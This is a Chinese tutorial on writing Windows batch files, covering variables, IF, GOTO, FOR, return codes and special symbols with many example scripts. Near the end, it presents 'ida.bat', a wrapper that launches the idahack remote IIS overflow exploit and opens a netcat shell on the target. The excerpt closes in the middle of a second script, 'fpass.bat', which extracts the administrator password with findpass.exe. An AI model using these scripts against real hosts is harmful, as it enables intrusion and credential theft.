bat（批处理文件）教程_bat文件怎么编写

目录

 

什么是bat？

简单程序

DOS和Win9x

作用

变量

变量的类型

变量的命名

变量的扩展

关于参数

常用命令

1.给变量赋值(撤销)

2.等待用户输入数据(开关/P)

3.计算(开关/A)

4.显示当前已定义变量

命令返回值

特殊符号

文件技巧

文章结构

命令帮助

环境变量

特殊符号

处理文件

语句结构

代码示例

其它

---

什么是bat？

批处理文件，在DOS和Windows（任意）系统中，.bat文件是可执行文件，由一系列命令构成，其中可以包含对其他程序的调用。这个文件的每一行都是一条DOS命令（大部分时候就好像我们在DOS提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

批处理(Batch)，也称为批处理脚本。顾名思义，批处理就是对某对象进行批量的处理，通常被认为是一种简化的脚本语言，它应用于DOS和Windows系统中。批处理文件的扩展名为bat 或cmd。比较常见的批处理包含两类：DOS批处理和PS批处理。PS批处理是基于强大的图片编辑软件Photoshop的，用来批量处理图片的脚本；而DOS批处理则是基于DOS命令的，用来自动地批量地执行DOS命令以实现特定操作的脚本。更复杂的情况，需要使用if、for、goto等命令控制程式的运行过程，如同C、Basic等高级语言一样。如果需要实现更复杂的应用，利用外部程式是必要的，这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理程序虽然是在命令行环境中运行，但不仅仅能使用命令行软件，任何当前系统下可运行的程序都可以放在批处理文件中运行。

简单程序

可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。第三，每个编写好的批处理文件都相当于一个DOS的外部命令　你可以把它所在的目录放到你的DOS搜索路径变量%path%（详见后面）中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:\BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:\batch，你就可以在任意位置运行所有你编写的批处理程序。

DOS和Win9x

C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，即开机自启动你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。

作用

简单的说，批处理的作用就是自动的连续执行多条命令。

这里先讲一个最简单的应用：在启动wps软件时，每次都必须执行（“>”前面内容表示DOS提示符）：

C:\>cd wps

C:\WPS>spdos

C:\WPS>py

C:\WPS>wbx

C:\WPS>wps

如果每次用WPS之前都这样执行一遍，还是十分麻烦。不过用批处理，就可以实现将这些麻烦的操作简单化，首先我们编写一个runwps.bat批处理文件，内容如下：

@echo off

C:

cd\wps

spdos

py

wbx

wps

cd\

以后，我们每次进入wps，只需要运行runwps这个批处理文件即可。

变量

变量的类型

批处理中的变量基本是万能的,可以储存各种各样的数据,不过用来计算时，会发现变量类型转为了int,数值的极端范围为[-2147483648，2147483647],如果不拿来计算的话,似乎数万位也是可以的。

变量的命名

批处理的变量命名没有什么限制..不过建议命名还是遵守标准的命名方法,不然

@Echo Off

Set IF=Set

%IF% lF=Goto

:IF

IF %IF%==IF %lF% IF

像这样的代码是很蛋疼的...

正是因为变量的名称是可以自由调配的 ： 数字 字母 甚至汉字都可以变成变量名。不像VBS一样。

变量的扩展

扩展,你可以理解为显示出这个的值,如果你想要使用这个变量的值一般情况下都要扩展

扩展方式:%变量%或!变量!

其中!变量!是延迟扩展,需要加上SetLocal EnableDelayedExpansion语句才能够实现,延迟扩展对于新手来说是一个很难理解的东西,就这么说吧,当你的变量在一个语句的内部受到了改变,而在这个改变之后又要输出,那么你必须要延迟扩展,这个牵扯到了奇奇怪怪的预处理机制,不详解了.用连接符号连起来的语句,if,for和它们后面括号内的内容都是属于一个语句

例:

@echo off

set num=10

set num=100&echo %num%

echo %num%

echo 虽然已经将num的值更改为100,但由于没有延迟扩展,所以值仍为10,不过在下一个语句num的值就改变了

pause>nul

例:

@echo off

SetLocal EnableDelayedExpansion

set num=10

set num=100&echo !num!

echo 两个num的值一样了

echo %num%

pause>nul

变量在扩展过程中还可以做一点手脚

例:

set str=1234567890

echo %str:~0,5%

echo %str:~1,5%

echo %str:~-5%

echo %str:~5,-2%

echo %str:7890=54321%

pause>nul

很神奇吧?这就是对字符串的处理，这个是批处理的特性，叫“变量延迟”

关于参数

参数在批处理的表达是%0,%1,%2....%9 ，以及全部参数%*（不包括%0）

%0的初始量是批处理本身路径，类似%~f0

一般你只能取前九个参数，除非你使用%*

shift命令允许你获取后面的参数

格式：shift [/n]

n为1~8的数

shift 会使%0变成%1，%1变成%2……%9变成原来的第10个参数（不推荐）

一般使用shift /1，将会从%1开始替换，保留原%0

注意：call标签时参数也是可用的，而且当返回时参数将变回原来的

例子：

@echo off

call :标签 arg1 arg2

echo %1

::会显示回显已打开

echo %2

exit

:标签

echo %1

::这时会显示arg1

echo %2

::这时会显示arg2

exit /b

常用命令

ECHO

显示信息，或将命令回显打开或关上。

ECHO [ON | OFF]

ECHO [message]

要显示当前回显设置，键入不带参数的 ECHO。

echo 命令的第一个用法,echo on和echo off

echo on表示打开回显,echo off表示关闭回显,何为回显?打开回显就是执行命令时会把命令显示出来,关闭回显反之.

echo 命令的第二个用法,echo message,这个很简单,就是显示后面的信息

echo 命令第三个用法,显示当前回显设置,就是显示回显打开或关闭

echo也可以输出文件。下面再说。

以下的这段代码可以让你很好地理解echo的用法(包括如何用echo输出空行)

echo 这是没有关闭回显

echo;

echo

echo off

echo 这是关闭了回显

echo;

echo

pause

PAUSE

暂停批处理程序，并显示以下消息:

请按任意键继续. . .

这个命令没有什么好说的,要暂停时直接pause就行了

CLS

清除屏幕。

CLS

这个命令也没有什么好说的,清屏,自己试一次就知道了

REM

在批处理文件或 CONFIG.SYS 里加上注解或说明。

REM [comment]

这个命令同样没什么好说的,用法就是rem 注释

PS:其实可以用"::"代替"REM",可以提高执行速度,不过REM的兼容性更好,我还是建议大家用rem注释

SET

1.给变量赋值(撤销)

例1:

@echo off

set str=My name is Xiao

echo %str%

rem 批处理中的变量一般需要用%来扩展,详见特殊符号一节

pause>nul

例2:

@echo off

set str=ABCDEFGHIJKLMN

echo %str%

set str=

echo;%str%

rem 还记得加";"可以实现什么效果吗?一个空行,为什么要这么做呢?想不出来的话去掉这个";"试试

pause>nul

上面的例子中,一个是给变量赋值,一个是撤销变量的值

2.等待用户输入数据(开关/P)

例:

@echo off

set /p name=请输入你的姓名:

set /p age=请输入你的年龄(纯数字):

echo 所以,%name%今 年%age%岁咯?

pause>nul

3.计算(开关/A)

例1:

@echo off

set /a num=(12*2)+(13*4)

echo (12x2)+(13x4)=%num%

pause>nul

例2:

@echo off

set /p num=请输入一个数字(不要超过2147483647):

REM 批处理能处理的数字不能超过32位(二进制)

set /a num*=2

echo 这个数字的两倍是%num%

pause>nul

附:Set /a num*=2与set /a num=num*2等价

() - 分组

! ~ - - 一元运算符

* / % - 算数运算符

+ - - 算数运算符

<< >> - 逻辑移位

- 按位“与”

^ - 按位“异”

| - 按位“或”

= *= /= %= += -= - 赋值

&= ^= |= <<= >>=

, - 表达式分隔符

set /a支持多行表达式并列,比如set /a num1=1+1,num2=1+2,num3=1+3

并且set /a不需要扩展变量,比如set /a num=%num2%+%num3%与set /a num=num2+num3等价

以上内容仅为基础教程

4.显示当前已定义变量

例:

@set

@pause>nul

是不是很简单?其实它还有更高级的用法呢

@set a

@pause>nul

@set s

@pause>nul

你们发现什么了吗??它的用法就是这些,不用多说了

IF

1.IF的第一种用法,比较字符串

例:

set /p PW=请输入密码:

if %PW%==bat (

echo YES!　

) ELSE (

Rem [else] 为可选参数,表示否则,即如果变量PW等于bat则输出YES!否则输出NO!　

echo NO!　

)

pause>nul

通过set /p和if可以实现一个简单的密码判断,当然这个密码判断可以很轻易地被破解,仔细动脑筋想一想,该怎么破解呢.

不过这个密码判断尚有不足之处,假如我们什么都不输入直接回车,便会提示错误,那该怎么办呢?很简单,只要加上双引号(其它的符号也行)就行了=>if "%PW%"=="bat"

2.IF的第二种用法,比较数字

例:

set /p num1=请第一个输入数字:

set /p num2=请第二个输入数字:

if not %num1% LSS %num2% (

rem lss表示小于

rem [not]为可选参数,表示非,即如果变量num1不小于变量num2就输出第一个数字大,否则输出第二个数字大

echo 第一个数字大

) ELSE (

echo 第二个数字大

)

pause>nul

这段代码可以实现一个简单的判断,不过尚有不足之处-----如果这两个数字相等呢,这就要请出我们的else if啦(当然你也可以用几个if来判断)

set /p num1=请第一个输入数字:

set /p num2=请第二个输入数字:

if "%num1%" gtr "%num2%" (

echo 第一个数字大

) ELSE if "%num1%" EQU "%num2%" (

echo 一样大

) ELSE (

echo 第二个数字大　

)

pause>nul

------比较运算符-----

EQU - 等于

NEQ - 不等于

LSS - 小于

LEQ - 小于或等于

GTR - 大于

GEQ - 大于或等于

3.IF的第三种用法,检测文件(夹)是否存在

例:

@echo off

if exist C:\windows (

echo 你的C盘有windows文件(夹^)

) else (

echo 你的C盘没有windows文件(夹^)

)

pause>nul

"^"为转义符号,在特殊符号一节再作讲解

4.IF的第四种用法,检测变量是否被定义

例:

@echo off

set var=aiwozhonghua

if defined var (

echo 变量var已被定义,它的值为%var%

) else (

echo 变量var没有被定义

)

pause>nul

去掉第一行的set看看执行结果有什么不同,你明白它的用法了吗?

5.IF的第五种用法,判断返回值(ERRORLEVEL)

要判断返回值,首先要理解返回值是个什么概念,批处理中的返回值一般表示了上个命令的执行结果(成功/失败/等)

每个命令执行完毕后返回值都会做相应的更改,一般返回值为0表示成功,1表示失败,有一些第三方的返回值比较特殊(如Choice.exe,Tmos.exe,Cmos.exe),在这里就不讲解了

例:

@echo off

echo;>>%systemroot%\test.txt

if errorlevel 0 ( echo 写入成功! ) else echo 写入失败

pause>nul

这段代码尝试向%systemroot%\system32\写入数据,如果权限不够或杀毒软件拦截就会写入失败,这时就会显示"写入失败".不知道%systemroot%表示了什么?单独键入set自己仔细看一下结果.

不过看到后面你会发现这段代码还有更简便的写法

注:用 if errorlevel判断返回值时要将返回值从大到小排列

例:

@echo off

choice /C:ABC /n "A/B/C"

if errorlevel 3 echo You choose the C

if errorlevel 2 echo You choose the B

if errorlevel 1 echo You choose the A

pause>nul

GOTO

将 cmd.exe 导向到批处理程序中带标签的行。

GOTO label

label 指定批处理程序中用作标签的文字字符串。

标签必须单独一行，并且以冒号打头。

如果命令扩展名被启用，GOTO 会如下改变:

GOTO 命令接受目标标签 :EOF，这个标签将控制转移到当前

批脚本文件的结尾。不定义就退出批脚本文件，这是一个容易的

办法。有关能使该功能有用的 CALL 命令的扩展名描述，请键入

CALL /?。

label是什么?这可不是命令label,它指的是标签,标签是啥?见例子

例:

@echo off

set /p pw=请输入密码:

if "%pw%"=="bathome" goto yes

goto :eof

rem 未定义的:eof会退出脚本文件

:yes

echo 密码正确!

pause>nul

这是一个更加完整的密码判断,仔细阅读并执行这行代码,你知道标签是什么了吗,没错,那个:yes就是标签了!

标签的格式

:标签名

关掉回显以后你有没有发现什么?没错,标签所在的那一行没有被执行,这就是为什么::比rem更快的原因了,但是标签不能被使用在一个语句的内部,主要就是被括号括起来的语句(是的,被括号括起来的语句被看作一个整体),因此::的兼容性没有rem那么好

附:"::"其实就是不规范的标签名...

FOR

1.FOR

对一组文件中的每一个文件执行某个特定命令。

FOR%variableIN (set) DO command [command-parameters]

%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters

为特定命令指定参数或命令行开关。

例:

@echo off

for %%i in (*.txt) do echo %%i

pause>nul

这段代码会显示当前文件夹下所有的txt文件

@echo off

for %%i in (菜 芽 小 公 公) do echo %%i

pause>nul

这段代码会显示

菜

芽

小

公

公

注:%%i为for输出专用变量格式,其中i可以是a/A/0-z/Z/9和一些符号什么的(如! # 不过不建议使用),在cmd中只能用一个%

2.FOR /L

FOR /L %variable IN (start,step,end) DO command [command-parameters]

该集表示以增量形式从开始到结束的一个数字序列。

因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生

序列 (5 4 3 2 1)。

例:

@echo off

for /L %%a in (1 2 1000) do echo %%a

pause>nul

这个用法很简单,没有什么要讲解的,从这段代码主要是看出了逗号可以省略.当然还有一些稀奇古怪的用法为了防止新手弄混在这里就不讲解了

3.FOR /R

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

检查以 [drive:]path 为根的目录树，指向每个目录中的

FOR 语句。如果在 /R 后没有指定目录，则使用当前

目录。如果集仅为一个单点(.)字符，则枚举该目录树。

这个命令同样有一些看起来很奇怪的用法,为了防止新手迷糊就只讲解基础的

例:

@echo off

for /r C:\Windwos\system32 %%i in (*) do echo %%i

pause>nul

这段代码枚举了C:\Windows\system32下所有的文件,包括子文件夹里的

4.FOR /D

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，则指定与目录名匹配，而不与文件

名匹配。

这个命令的用法和上面差不多,只不过是枚举目录名,不详解了

5.FOR /F

for /f是一个非(丧)常(心)复(病)杂(狂)的命令...

让我们从它的第一个用法来讲:

FOR /F ["options"] %variable IN (file-set) DO command [command-parame]

例:

@echo off

echo 1,1 2,1 3,1 4,1>>test.txt

echo A1,2 2,2 3,2 4,2>>test.txt

echo 1,3 2,3 3,3 4,3>>test.txt

echo A1,4 2,4 3,4 4,4>>test.txt

rem 以上代码在当前文件夹下生成了一个test.txt,打开看看?

For /F %%i In (test.txt) Do Echo %%i

pause>nul

For /F "tokens=2" %%i In (test.txt) Do Echo %%i

pause>nul

For /F "tokens=3" %%i In (test.txt) Do Echo %%i

pause>nul

For /F "tokens=4" %%i In (test.txt) Do Echo %%i

pause>nul

我想执行完这个bat,再分析一下结果和代码,聪明的你一定了解了tokens的用处

for /f 默认以空格为分隔符,将每一行分割为几个元素,而tokens就表示取第几个元素.但假如我们要取的不是一个元素呢?需要全部显示出来怎么办?

tokens=* 表示取所有元素,用%%i输出

tokens=1,2,3,4或tokens=1-4 然后用%%i或%%i,%%j,%%k,%%l 输出

其实我们还有其他的方法,比如请出delims参数

例:

@echo off

rem test.txt已经有了,就不生成了

for /f "delims=*" %%i in (test.txt) do echo %%i

pause>nul

delims是个啥玩意儿?其实这就是分割符的设定,默认以空格为分隔符,你可以将分隔符设置成其他的,你的文本就不会被分割了,delims同样支持多个分隔符,格式delims=第一个分隔符,第二个分隔符,第三个分隔符

啊哈,还有一个skip和eol,skip表示忽略前几行,比如skip=10表示忽略这个文本的前十行,我这个文本只有4行,如果你加上skip=10的话就什么都不会输出了

eol表示忽略以某个符号开头的行,比如eol=A,当某一行的开头是A的时候,这一行就不会被处理,不过支持设置一个符号

for /f同也可以处理字符串

FOR /F ["options"] %variable IN ("string") DO command [command-parameters]

字符串需要用双引号引起来,其余用法一样,不过这里就要讲到usebackq参数了,for /f是支持处理多个文件的,文件直接用空格隔开(某些符号也可以),假如文件名中含有空格怎么办呢?那好像只能用双引号引起来了,但是用双引号引起来会被识别成字符串的,这时就要请出usebackq参数了,加上这个参数,带引号的字符串也会被识别为文件~

FOR /F ["options"] %variable IN ('command') DO command [command-parameters]

用for /f来处理命令执行的结果,命令要用单引号引起来

例:

@echo off

for /f "skip=3" %%i in ('tasklist') do echo;%%i

pause>nul

这段代码就处理了命令ipconfig的执行结果,单独键入tasklist看会出现什么?

================================================

~I - 删除任何引号(")，扩充 %I

%~fI - 将 %I 扩充到一个完全合格的路径名

%~dI - 仅将 %I 扩充到一个驱动器号

%~pI - 仅将 %I 扩充到一个路径

%~nI - 仅将 %I 扩充到一个文件名

%~xI - 仅将 %I 扩充到一个文件扩展名

%~sI - 扩充的路径只含有短名

%~aI - 将 %I 扩充到文件的文件属性

%~tI - 将 %I 扩充到文件的日期/时间

%~zI - 将 %I 扩充到文件的大小

%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充

到找到的第一个完全合格的名称。如果环境变量名

未被定义，或者没有找到文件，此组合键会扩充到

空字符串

组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径

%~nxI - 仅将 %I 扩充到一个文件名和扩展名

%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名

%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充

到找到的第一个驱动器号和路径。

%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

===================================================

这些不多说了,自己用for /r命令输出的时候把%%i改成%%~nxi之类的试一试就理解了

批处理示例

1. IF-EXIST

1)

首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下：

@echo off

IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT

IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

然后运行它：

C:\>TEST1.BAT

如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。

2)

接着再建立一个test2.bat文件，内容如下：

@ECHO OFF

IF EXIST \%1 TYPE \%1

IF NOT EXIST \%1 ECHO \%1 does not exist

执行:

C:\>TEST2 AUTOEXEC.BAT

该命令运行结果同上。

说明：

(1) IF EXIST 是用来测试文件是否存在的，格式为

IF EXIST [路径+文件名] 命令

(2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。

3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下：

@echo off

IF "%1" == "A" ECHO XIAO

IF "%2" == "B" ECHO TIAN

IF "%3" == "C" ECHO XIN

如果运行：

C:\>TEST3 A B C

屏幕上会显示:

XIAO

TIAN

XIN

如果运行：

C:\>TEST3 A B

屏幕上会显示

XIAO

TIAN

在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。

2、IF-ERRORLEVEL

建立TEST4.BAT，内容如下：

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败

IF ERRORLEVEL 0 ECHO 成功拷贝文件

然后执行文件:

C:\>TEST4

如果文件拷贝成功，屏幕就会显示“成功拷贝文件”，否则就会显示“文件拷贝失败”。

IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的：

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:\

IF ERRORLEVEL 0 ECHO 成功拷贝文件

IF ERRORLEVEL 1 ECHO 未找到拷贝文件

IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作

IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作

IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

无论拷贝是否成功，后面的：

未找到拷贝文件

用户通过ctrl-c中止拷贝操作

预置错误阻止文件拷贝操作

拷贝过程中写盘错误

都将显示出来。

命令返回值

backup

0 备份成功

1 未找到备份文件

2 文件共享冲突阻止备份完成

3 用户用ctrl-c中止备份

4 由于致命的错误使备份操作中止

diskcomp

0 盘比较相同

1 盘比较不同

2 用户通过ctrl-c中止比较操作

3 由于致命的错误使比较操作中止

4 预置错误中止比较

diskcopy

0 盘拷贝操作成功

1 非致命盘读/写错

2 用户通过ctrl-c结束拷贝操作

3 因致命的处理错误使盘拷贝中止

4 预置错误阻止拷贝操作

format

0 格式化成功

3 用户通过ctrl-c中止格式化处理

4 因致命的处理错误使格式化中止

5 在提示“proceed with format（y/n）?”下用户键入n结束

xcopy

0 成功拷贝文件

1 未找到拷贝文件

2 用户通过ctrl-c中止拷贝操作

4 预置错误阻止文件拷贝操作

5 拷贝过程中写盘错误

特殊符号

@-隐藏命令

开启了echo off能够起到隐藏命令的效果,而@同样能起到这个效果,只不过需要在每条命令前面都加一个...

&&,||-判断

还记得用if errorlevel来判断命令成功与否吗?&&和||同样能起到这个效果,&&表示前面的命令成功以后执行后面的命令,||反之

例:

@echo;>>%SystemRoot%\system32\test.txt&&echo 成功!||echo 失败

@pause>nul

|-管道

将前一个命令执行的结果发送给后一个命令

例:

@echo 你好|find "你"

@tasklist|find "exe"

&-分行符

可以把几个命令写在同一行

例:

@echo 123&@echo 456

pause>nul

^-分行与转义符

1.分行

可以把一个命令写成多行哦

例:

@echo 1^

2^

3^

4

@pause>nul

复制上面的命令,执行结果是什么?这就是分行符的作用

2.转义

当我们试图输出一个&的时候,我们会发现输出不了...因为它被当成分行符处理了

这时就要请出转义符^了,它可以剥夺后面第一个符号的特殊地位,变为普通符号(这其实是一个很神奇的功能,之所以神奇...赘不详述)

例:

@echo ^&

@pause>nul

这样就输出了&

另外，当存在a变量（前面set /p a=或set a=给a赋值了）想要输出%a%，一是可以用转义符^，还可以：

echo %%a%%

这样既可将两个百分号识别为一个，起到了转义的作用

还有些特殊情况不需要转义：

echo "0000|000"

用引号括起来可以起到一定的转义的作用，包括set "a=a的值"等

但特别特殊的情况比如获取%1时存在转义符很难处理，没办法正常引用

*,?-通配符

什么是通配符?举个例子,*.jpg表示所有的jpg文件,*表示所有文件,如“AAA.jpg”.*可以为任意字符,但?只表示一个字符,比如?.jpg只表示文件名只有一个的jpg文件,比如“1.jpg”,“比.jpg”.

()-括起来

括起来的语句是一个整体

>,>>,<-重定向

在这里注意: 在重定向符号 ">" 以及 ">>" 前必须添加空格，因为Batch具有不唯一性所以在很多时候不加空格也能正常使用。但是日常使用中必须添加空格否则失败的几率很大，要么是无法创建/输出，要么文件是空的。

请不要使用不添加空格的不正确用法！

echo 123 >>one.txt

可以输出123追加到one.txt中

echo 123 >one.txt

可以输出123覆盖one.txt中原先的内容

nul是一个系统保留字,所以>nul不会输出到任何文件,可以起到隐藏命令执行结果的效果

2 >nul可以起到隐藏命令失败执行结果的效果

<可以从文件中读取数据到某个命令中,不过这个命令得等待用户输入

例:

@echo off

echo 123 >>00.txt

set /p num=<00.txt

echo 数字是%num%

pause>nul

有些命令不止需要一个>nul，如要连接，需要：>nul 2>nul以此类推

如果前面有数字，需要添加空格

ping >nul 2>nul

=1>nul 2>nul ping

=ping >nul 2>&1.... X>&2 X>&2 X>&3等

nul指空设备，简单来说就是隐藏输出。

2>&1 3>&2 可以一直接下去，&1 &2就是引用第一个、第二个等

文件技巧

文章结构

1. 所有内置命令的帮助信息

2.环境变量的概念

3. 内置的特殊符号(实际使用中间注意避开)

4. 简单批处理文件概念

5. 附件1 tmp.txt

6. 附件2 sample.bat

###########################

命令帮助

###########################

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

下面将所有上面的帮助输出到一个文件

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

环境变量

C:\Program Files>set

ALLUSERSPROFILE=C:\Documents and Settings\All Users

CommonProgramFiles=C:\Program Files\Common Files

COMPUTERNAME=FIRST

ComSpec=C:\WINNT\system32\cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:\WINNT\system32\os2\dll;

Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0605

ProgramFiles=C:\Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:\WINNT

TEMP=C:\WINNT\TEMP

TMP=C:\WINNT\TEMP

USERPROFILE=C:\Documents and Settings\Default User

windir=C:\WINNT

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到

%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.

语法: copy mychenxu.exe %windir%\system32\.

使用点(.) 便于一目了然

对环境变量的引用使用(英文模式,半角)双引号

%windir%变量

%%windir%% 二次变量引用.

我们常用的还有

%temp% 临时文件目录

%windir% 系统目录

%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作

C:\>dir p*

C:\ 的目录

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47 <DIR> Program Files

1 个文件 2,164字节

1 个目录 1,505,997,824 可用字节

C:\>cd pro*

C:\Program Files>

C:\>

C:\>cd "Program Files"

C:\Program Files>

特殊符号

微软里面内置了下列字符不能够在创建的文件名中间使用

con nul aux \ / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value "new&name", type:

set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件

>> 追加到一个文件后面

@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示

^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() 包含命令

(echo aa & echo bb)

, 和空格一样的缺省分隔符号.

; 注释,表示后面为注释

: 标号作用

|管道操作

& Usage：第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令，而不管命令是否执行成功

dir c:\*.exe & dir d:\*.exe & dir e:\*.exe

&& Usage：第一条命令 && 第二条命令 [&& 第三条命令...]

当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；

|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...]

当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

常用语法格式

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "%1"=="" goto END

IF "%1"=="net" goto NET

IF NOT "%2"=="net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k

按照字母顺序 ijklmnopq依次取参数.

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

处理文件

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

第二个echo是追加

第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389"

这个将要列出所有连接3389的用户的ip.

________________test.bat______

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不显示注释语句,本行显示

@rem 不显示注释语句,本行不显示

@if exist %windir%\system32\find.exe(echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

_____________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_____

@rem ver 1.0

@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"

@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE

@if NOT "%2" =="" goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%\_tmp

@echo "prog exit code [%errorlevel%] idahack.exe"

@type %temp%\_tmp

@find "good luck :)" %temp%\_tmp

@echo "prog exit code [%errorlevel%] find [goog luck]"

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%\_tmp

@type %temp%\_tmp

@find "good luck :)" %temp%\_tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.batIP

@echo Example: ida.batIP (2,3)

:END

_____________________ida.bat__END_______

下面我们再来第二个文件.就是得到administrator的口令.

大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________

@rem ver 1.0

@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"

@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....

@echo ____________________________________

@if "%1"=="" goto USAGE

@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt

@echo "prog exit code [%errorlevel%] findpass.exe"

@type %temp%\_findpass.txt

@echo ________________________________Here__pass★★★★★★★★

@ipconfig /all >>%temp%\_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%\_pass.txt

